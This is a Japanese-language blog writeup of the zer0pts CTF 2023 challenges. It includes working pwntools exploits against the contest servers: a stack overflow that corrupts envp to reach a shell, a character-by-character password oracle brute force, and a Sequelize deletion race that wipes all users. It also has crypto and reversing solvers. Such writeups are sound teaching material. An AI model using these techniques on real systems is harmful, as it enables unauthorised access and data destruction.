0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

zer0pts CTF 2023 writeup

Posted at

9問解いて50位。

2023.ctf.zer0pts.com_tasks_(capture (1280)).png

welcome (welcome)

Discord。

zer0pts{3nj0y_th3_CTF_t0_W1N2023!!!!}

survey (survey)

Googleフォーム。

zer0pts{th4nk5_f0r_g1v1ng_u5_th3_f33db4ck!!}

decompile me (reversing, warmup)

Reverse engineering is getting easier thanks to IDA/Ghidra decompiler!

ありがたいことです。

で、Ghidraで開いてみると、入力したフラグをRC4で暗号化して、暗号化した結果を memcmp で比較している。RC4の暗号化と復号は同一の処理なので、比較対象を復号すれば良い……で解けるわけはない。

Ghidraで渡しているように見える引数は使っていなくて、別のレジスタで本当の引数を渡していた。memcmp は、libcの memcmp ではなく問題バイナリの中にあって、この自前の関数の中で比較対象の値は固定になっている。

solve.py
#K = bytes.fromhex(
#    "bebafecaefbeadde"
#)
K = bytes.fromhex(
    "3109811919144511"
)
#C = bytes.fromhex(
#    "0809dccf97888cd0a133e591d9cec6bc"+
#    "3bacbd59b7cab02ddf34d63f5b93cddc"+
#    "8deb114555735d0a8a2d608c3ed0511d"+
#    "d774499a459a2a69748c0072ed881aff"+
#    "ffb70def731f907dc5be4fa5b2296a5e"+
#    "0797c1a4fcc0682702eb0b61c0c3bda3"+
#    "b9c0a96cf84bd77f7d637df7e0570081"+
#    "898ba27beeaa53fbd92d2ef16d8c24e0"
#)
C = bytes.fromhex(
    "78cfc485dc33074c9335fb7c108ebe93"+
    "28e62e75da5e85c591157589480e29a4"+
    "f9a63a6e1f84f742b09331f068c04338"+
    "07320957da3244cfcd8fe5bfe3d6bb59"+
    "9a6a8485d322a98eb5eabd57deb16c93"+
    "e47470ac1a03d9169fbc97fb85d9a69e"+
    "d4d60259d528b39316b6c478c4a212d2"+
    "efb15418fd7651a35e57b8584b1ee241"
)

S = [0]*256
for i in range(256):
    S[i] = i
j = 0
for i in range(256):
    j = (j+S[i]+K[i%len(K)])%256
    S[i], S[j] = S[j], S[i]

i = 0
j = 0
X = []
while len(X)<len(C):
    i = (i+1)%256
    j = (j+S[i])%256
    S[i], S[j] = S[j], S[i]
    X += [S[(S[i]+S[j])%256]]

P = bytes(c^x for c, x in zip(C, X))
print(P.decode())
$ python3 solve.py
zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}

zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}

aush (warmup, pwn)

main.c
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN_USER 0x10
#define LEN_PASS 0x20

int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) {
  int ret, fd;

  // TODO: change it to password/username file
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
    return 1;
  ret  = read(fd, passbuf, passlen) != passlen;
  ret |= read(fd, userbuf, userlen) != userlen;
  close(fd);
  return ret;
}

int main(int argc, char **argv, char **envp) {
  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };

  if (system("/usr/games/cowsay Welcome to AUSH: AUthenticated SHell!") != 0) {
    write(STDOUT_FILENO, "cowsay not found\n", 17);
    return 1;
  }

  /* Load password and username file */
  if (setup(password, LEN_PASS, username, LEN_USER))
    return 1;

  /* Check username */
  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

  /* Check password */
  write(STDOUT_FILENO, "Password: ", 10);
  if (read(STDIN_FILENO, inppass, 0x200) <= 0)
    return 1;

  if (memcmp(password, inppass, LEN_PASS) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid password";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

  /* Grant access */
  args[0] = "/bin/sh";
  args[1] = NULL;
  execve(args[0], args, envp);
  return 0;
}

一目で分かるスタックバッファオーバーフローの脆弱性がある。しかし、スタックの配置はこう。

rbp-0xa0: args[0]
rbp-0x98: args[1]
rbp-0x90: args[2]
rbp-0x80: username
rbp-0x70: inpuser
rbp-0x50: password
rbp-0x30: inppass
rbp-0x08: canary

カナリアをどうするという話の前に、 memcmp(username, inpuser, LEN_USER) を通さないといけないが、 username が書き換えられない。 execve は、 system と違って自分自身のプロセスが指定したコマンドになるので、呼び出された時点で終わり。というか、 execve が返ってくるのだったら、最後の execve("/bin/sh", ...) が実行されるか。

適当に長い文字列を突っ込むと、 *** stack smashing detected *** で落ちることに気が付いた。 execve が呼び出されていたらこうはならないはずでは……? スタックの下のほうにある envp のポインタを壊すと、 execve の呼び出しは失敗するらしい。へー。セグフォで落ちるわけでもない。新しいプログラムに envp を引き継ぐために何か頑張っているのだろうか。

ということで、次のようにすれば良い。

  1. ユーザー名の入力で envp を壊して、 execve を失敗させ、処理を継続させる
  2. パスワードの入力で envp を失敗しないような状態にして、パスワードの比較は通るようにする
    • envp を直した状態でパスワードの比較に失敗すると、 execve が動いてしまうので
  3. 最後の execve("/bin/sh", ...) が動く
attack.py
from pwn import *

s = remote("pwn.2023.zer0pts.com", 9006)
s.sendlineafter(b"Username: ", b"a"*0x198+bytes([0xff, 0xff]))
s.sendlineafter(b"Password: ", b"a"*0x158+bytes([0x00, 0x00]))
s.interactive()

envp[0] が、下位2バイトが ff ff ならアクセス不可で、 00 00 がアクセス可能な状態なら通る。何度か試せば良い。

attack.py
$ python3 attack.py
[+] Opening connection to pwn.2023.zer0pts.com on port 9006: Done
[*] Switching to interactive mode
$ cat flag*
zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}
$

zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}

NetFS 1 (warmup, misc)

server.py
 :
    def authenticate(self):
 :
        with Timeout(30):
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    return
                elif c != password[i:i+1]:
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                self.response(b"Incorrect password.\n")
                return
 :

パスワードを途中まで入力した時点で、そこまでの入力が間違っていれば Incorrect password. が返ってくるし、正しければ次の入力を待つようになっている。1文字ずつ総当たり。

attack.py
from pwn import *

context.log_level = "error"

password = ""
while True:
    #for c in "abcdefghijklmnopqrstuvwxyz0123456789":
    for c in "0123456789abcdef":
        s = remote("misc.2023.zer0pts.com", 10021)
        s.sendlineafter(b"Username: ", b"admin")
        s.sendafter(b"Password: ", (password+c).encode())
        t = s.recvline(timeout=10)
        s.close()
        if b"Incorrect password." not in t:
            password += c
            print(password)
            break
    else:
        break
$ python3 attack.py
d
dd
dd7
dd79
dd79e
dd79ef
dd79efc
dd79efc4
dd79efc40
dd79efc409
dd79efc4093
dd79efc4093c
dd79efc4093c9
dd79efc4093c93
dd79efc4093c932
dd79efc4093c9326

$ nc misc.2023.zer0pts.com 10021
Username: admin
Password: dd79efc4093c9326
Logged in.
File: secret/flag.txt
zer0pts{d0Nt_r3sp0nd_t00_qu1ck}
File: secret/password.txt
dd79efc4093c9326
File:

zer0pts{d0Nt_r3sp0nd_t00_qu1ck}

NetFS 2 (misc)

解けなかった。

su command delays for few seconds when I enter an invalid password. I added the feature to NetFS authentication.

server.py
 :
class Timeout(object):
    def __init__(self, seconds):
        self.seconds = seconds
        self.start = None

    def handle_timeout(self, signum, frame):
        raise TimeoutError('Timeout')

    def wait(self):
        signal.alarm(0)
        while time.time() - self.start < self.seconds:
            time.sleep(0.1)
        time.sleep(random.random())

    def __enter__(self):
        signal.signal(signal.SIGALRM, self.handle_timeout)
        signal.alarm(self.seconds)
        self.start = time.time()
        return self

    def __exit__(self, _type, _value, _traceback):
        signal.alarm(0)
        time.sleep(random.random())
 :
    def authenticate(self):
 :
        with Timeout(5) as timer:
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    timer.wait()
                    self.response(b"Incorrect password.\n")
                    return
                elif c != password[i:i+1]:
                    timer.wait()
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                timer.wait()
                self.response(b"Incorrect password.\n")
                return
 :
def pynetfs_main(conn):
    nfs = PyNetworkFS(conn)
    try:
        nfs.authenticate()
    except TimeoutError:
        nfs.response(b'Incorrect password.\n')
 :

タイムアウトの時間まで待ってからエラーを返すようになった。

本当のタイムアウトなら5秒後きっかり、パスワードの検証失敗なら、0.1秒ずつ5秒まで待って、その後1秒未満のランダムな時間ウエイト。ここで見分けられるかと思ったが、試行回数を増やしても全然安定しない。

この記事を書いている今気が付いたけど、本当のタイムアウトでも1秒未満のランダムな時間のウエイトが入っている……? 分からん。

easy_factoring (crypto)

server.py
import os
import signal
from Crypto.Util.number import *

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

def main():
    p = getPrime(128)
    q = getPrime(128)
    n = p * q

    N = pow(p, 2) + pow(q, 2)

    print("Let's factoring !")
    print("N:", N)

    p = int(input("p: "))
    q = int(input("q: "))

    if isPrime(p) and isPrime(q) and n == p * q:
        print("yey!")
        print("Here you are")
        print(flag)
    else:
        print("omg")

def timeout(signum, frame):
    print("Timed out...")
    signal.alarm(0)
    exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGALRM, timeout)
    signal.alarm(30)
    main()
    signal.alarm(0)

$N=p^2+q^2$ から素数 $p$ と $q$ を求める。

平方数の和で数を表すとか良くある問題っぽいし、ググれば何とかなるだろと思ったけど、意外と難しい。

  • 整数 $n$ を平方数の和で表せるとき、 $n$ を素因数分解すると、$4k+3$ となる素因数の指数は偶数になる
  • $p=4k+1$ となる奇素数 $p$ は平方数の和で表せる
  • 平方数の和で表せる $n=a^2+b^2$ と $m=c^2+d^2$ があるとき、 $nm$ も $nm = (ac+bd)^2+(ad-bc)^2$ として平方数の和で表せる
    • $a$ と $b$ などが入れ替えられるので、これは一意ではない

  • $p=4k+1$ となる奇素数 $p$ は平方数の和で表す方法は一意

$N$ を素因数分解する。指数が2以上の素因数が出てきたら諦める。そうすると、素因数は全て(2か) $p=4k+1$ の奇素数のはずなので、平方数の和で表す。これの組み合わせを試しながら、$N$ を平方数の和で表す方法を求める。素数が2個出てきたらOK。という方法で解けそう。

奇素数を平方数の和で表すのは、次の記事を参照した。

solve.sage
# returns x, y s.t. x**2+y**2==p
def sqsum(p):
    # https://gist.github.com/junpeitsuji/11accb59325c72a80defb30c64a6a7d6

    # x**2 = -1 mod p
    for b in [3, 5, 7, 11, 13, 17, 19]:
        x = pow(b, (p-1)//4, p)
        if pow(x, 2, p)==p-1:
            break

    y = 1
    k = (x**2+y**2)//p
    while k>1:
        xk = x%k
        if xk>abs(xk-k):
            xk = xk-k
        yk = y%k
        if yk>abs(yk-k):
            yk = yk-k
        k, x, y = (
            (xk**2+yk**2)//k,
            (x*xk+y*yk)//k,
            (x*yk-y*xk)//k,
        )
    return abs(x), abs(y)

N = int(input("N: "))
P = []
for p in factor(N):
    if p[1]!=1:
        print("NG")
        exit(0)
    P += [p[0]]
XY = [sqsum(p) for p in P]
for b in range(2**len(XY)):
    x = 1
    y = 0
    for i in range(len(XY)):
        x2, y2 = XY[i] if b>>i&1 else XY[i][::-1]
        x, y = (abs(x*x2+y*y2), abs(x*y2-y*x2))
    if x in Primes() and y in Primes():
        print(f"p: {x}")
        print(f"q: {y}")
        break
$ nc crypto.2023.zer0pts.com 10333
Let's factoring !
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
>docker run --rm -it -v %CD%:/host sagemath/sagemath sage /host/solve.sage
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
p: 295015923305939223518806046311391467703
q: 301624410449562448043443107328944647491
Let's factoring !
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
p: 295015923305939223518806046311391467703
q: 301624410449562448043443107328944647491
yey!
Here you are
b"zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}"

zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}

mimikyu (reversinig)

ELFバイナリなのに LoadLibraryA とか出てくる。 LoadLibraryA が出てくるが GetProcAddress ではなく ResolveModuleFunction という(独自の?)関数で関数のアドレスを取得している。何かのハッシュ値で関数を指定していて、どの関数なのかパッと見分からない。

GDBで動かしながら、実際にどの関数が呼び出されているのかを調べると、こういう処理をしている。

cap(x) {
    h = hcraete(x);
    for (i=0; ; i++) {
        s = __gmp_sprintf("%Zd", i);
        if (hsearch({s, NULL}, ENTER)==NULL)
            break;
    }
    i--;
    return i;
}

int main(int argc, char **argv) {
    srand(*main);
    for (int i=0; i<0x28; i++) {
        if (!isprint(argv[1][i]))
            failed;
    }
    for (int i=0; i<0x28; i+=4) {
        mod = 1;
        for (int j=0; j<3; j++) {
            putchar('.');
            mod *= cap(rand()%0x10000);
        }
        base = *(unsigned int *)(argv[1]+i);
        exp = cap(rand()%0x10000);
        if (__gmpz_powm(base, exp, mod)!=enc[i])
            failed;
    }
}

一部の変数は、GMPの多倍長整数。hsearch とか何かと思ったけど、(Cの標準ライブラリに?)ハッシュテーブルを扱う関数があるらしい。へー。

hcreate の引数はハッシュテーブルのサイズで、追加できなくなるまでの回数を数えているから、 cap は引数をそのまま返す関数かと思ったけど……微妙にずれる。

GDBで動かしながら、expmod の値を1個ずつ調べた。面倒だった。

solve.py
for exp, mod, enc in [
    (0xf0d3, 0x2350f23a0dff, 0x0fe4c025c5f4),
    (0x085f, 0x32d18e9d4d33, 0x1b792ff17e8a),
    (0x8e63, 0x03866cd71f1b, 0x0183b156ab40),
    (0x8249, 0x10ae9be3fc8f, 0x0beffcf5e5da),
    (0xc6a1, 0x09d942eff67d, 0x0297cf86e251),
    (0x0c6d, 0x1de2e3aa8bb1, 0x0eb3edc1d4b4),
    (0xaef5, 0x103fc65841f3, 0x00fa10ce3a08),
    (0xd5df, 0x011a0970edc9, 0x002bdd418672),
    (0xe68d, 0x5f8d20bddf39, 0x5ebb5050ea46),
    (0xf3fb, 0x45b14e11e0ed, 0x05bf9b73cf86),
]:
    for c0 in range(0x20, 0x7f):
        for c1 in range(0x20, 0x7f):
            for c2 in range(0x20, 0x7f):
                for c3 in range(0x20, 0x7f):
                    c = c3<<24|c2<<16|c1<<8|c0
                    if pow(c, exp, mod)==enc:
                        print(chr(c0)+chr(c1)+chr(c2)+chr(c3))
$ python3 solve.py
zer0
pts{
L00k
_th3
_1nt
3rn4
l_0f
_l1b
r4r1
3s!}

フラグを見るに、 hsearch などの実装を追うのが想定解法だったか……?

zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}

SquareRNG (crypto, warmup)

server.py
#!/usr/bin/env python3
import os
from Crypto.Util.number import getPrime, getRandomRange

def isSquare(a, p):
    return pow(a, (p-1)//2, p) != p-1

class SquareRNG(object):
    def __init__(self, p, sa, sb):
        assert sa != 0 and sb != 0
        (self.p, self.sa, self.sb) = (p, sa, sb)
        self.x = 0

    def int(self, nbits):
        v, s = 0, 1
        for _ in range(nbits):
            self.x = (self.x + 1) % p
            s += pow(self.sa, self.x, self.p) * pow(self.sb, self.x, self.p)
            s %= self.p
            v = (v << 1) | int(isSquare(s, self.p))
        return v

    def bool(self):
        self.x = (self.x + 1) % self.p
        t = (pow(self.sa, self.x, self.p) + pow(self.sb, self.x, self.p))
        t %= self.p
        return isSquare(t, self.p)

p = getPrime(256)

sb1 = int(input("Bob's seed 1: ")) % p
sb2 = int(input("Bob's seed 2: ")) % p
for _ in range(77):
    sa = getRandomRange(1, p)
    r1 = SquareRNG(p, sa, sb1)
    print("Random 1:", hex(r1.int(32)))
    r2 = SquareRNG(p, sa, sb2)
    print("Random 2:", hex(r2.int(32)))

    guess = int(input("Guess next bool [0 or 1]: "))
    if guess == int(r1.bool()):
        print("OK!")
    else:
        print("NG...")
        break
else:
    print("Congratz!")
    print(os.getenv("FLAG", "nek0pts{*** REDACTED ***}"))

何をしているのかパッと見では分からん。整理すると、

  • 向こうが素数 $p$ を決める
  • こちらが整数 $s_{b1}$ と $s_{b2}$ を決める
  • 以降を77回繰り返して、全て成功すればクリア
    • 向こうが整数 $s_a$ を決める
    • $s_b = s_{b1}, s_{b2}$ と $1\leq x \leq 32$ について、 $1+s_a^1 s_b^1 + s_a^2 s_b^2 + \dots + s_a^x s_b^x$ が法 $p$ について平方剰余かどうかを教えてくれる
    • $s_a^{33} + s_{b1}^{33}$ が法 $p$ で平方剰余かどうかを答える

平方剰余はこれ。要は、法 $p$ で平方根があるかどうかということ。

乗算は分かりやすい。平方剰余か平方非剰余同士の積は、平方剰余になる。平方剰余と平方非剰余の積は平方非剰余。 $x^n$ について、$x$ が平方剰余なら常に平方剰余、 $x$ が平方非剰余なら $n$ が偶数のときだけ平方剰余。

一方、加算はそんな便利な法則は無いはず。$s_{b1}=0$ にすれば加算が消せるかと思ったけど、防がれていた。

$n$ ビットの乱数を作るときは1ビットの乱数を $n$ 個組み合わせるのが自然だが、この問題の実装ではそうなっていない。

$1+x^2+x^3+\dots+x^n$ みたいな式って高校数学あたりで見た気がするんだよなぁ……。これだ。

x^{33}-1 = (x-1)(1+x+x^2+\dots+x^{32})

$s_{b1}=-1$, $s_{b2}=1$ とすれば、$s_a^{33}-1$ が平方剰余かどうかを答える問題になる。

s_a^{33}-1 = -1 \cdot (1-s_a)(1+s_a+s_a^2+\dots+s_a^{32})

で、$1-s_a$ と $1+s_a+s_a^2+\dots+s_a^{32}$ が平方剰余かどうかは得られる。$-1$ が平方剰余かどうかは $p$ によって決まるので、決め打ちで何回か試せば良い。

solve.py
from pwn import *

s = remote("crypto.2023.zer0pts.com", 10666)

s.sendlineafter(b"Bob's seed 1: ", b"-1")
s.sendlineafter(b"Bob's seed 2: ", b"1")

for _ in range(77):
    s.recvuntil(b"Random 1: 0x")
    r1 = int(s.recvline()[:-1].decode(), 16)
    s.recvuntil(b"Random 2: 0x")
    r2 = int(s.recvline()[:-1].decode(), 16)
    b = (r1>>31)^(r2&1)
    s.sendlineafter(b"Guess next bool [0 or 1]: ", str(b).encode())
    assert s.recvline()[:-1]==b"OK!"
print(s.recvline()[:-1].decode())
print(s.recvline()[:-1].decode())
$ python3 solve.py
[+] Opening connection to crypto.2023.zer0pts.com on port 10666: Done
Traceback (most recent call last):
  File "/mnt/d/documents/ctf/zer0pts2023/SquareRNG/solve.py", line 15, in <module>
    assert s.recvline()[:-1]==b"OK!"
AssertionError
[*] Closed connection to crypto.2023.zer0pts.com port 10666
$ python3 solve.py
[+] Opening connection to crypto.2023.zer0pts.com on port 10666: Done
Congratz!
zer0pts{L(a)L(b)=L(ab)}
[*] Closed connection to crypto.2023.zer0pts.com port 10666

zer0pts{L(a)L(b)=L(ab)}

Warmuprofile (web, warmup)

1人ごとにインスタンスを立てるタイプの問題。これは……、prototype pollution → 違いました。

ユーザー登録型ウェブサイト。adminならフラグが読める。adminのパスワードは分からない。重複したユーザー名で登録することができないので、adminという名前で登録するのも不可。

index.js
 :
app.get('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    const user = await User.findOne({
        where: { username: loggedInUsername }
    });

    res.render('delete', {
        chall_name: CHALL_NAME, flash: getFlash(req),
        loggedIn: req.session.loggedIn, user, username
    });
});

app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});
 :

ユーザーの削除処理が何か変。Sequelizeというライブラリを使っていて、
普通は user.destroy() となる。問題のコードの書き方は、 DELETE 文の WHERE 句を指定する感じらしい。 User.findOne(...) でユーザの取得に失敗したときどうなる?

  1. ユーザー登録する
  2. シークレットウィンドウなどで、2重にログインする
  3. どちらも、(GETで) /user/:username/delete に行く
  4. どちらも、「本当に削除する」ボタンをポチる
  5. 後からポチったほうは User.findOne が失敗し、条件が空で User.destroy が実行されて、全ユーザーが削除される
  6. adminという名前で登録してフラグが覗ける

実装ミスで全ユーザーが削除されるの怖すぎワロタ。

こんな話もあったな。

zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?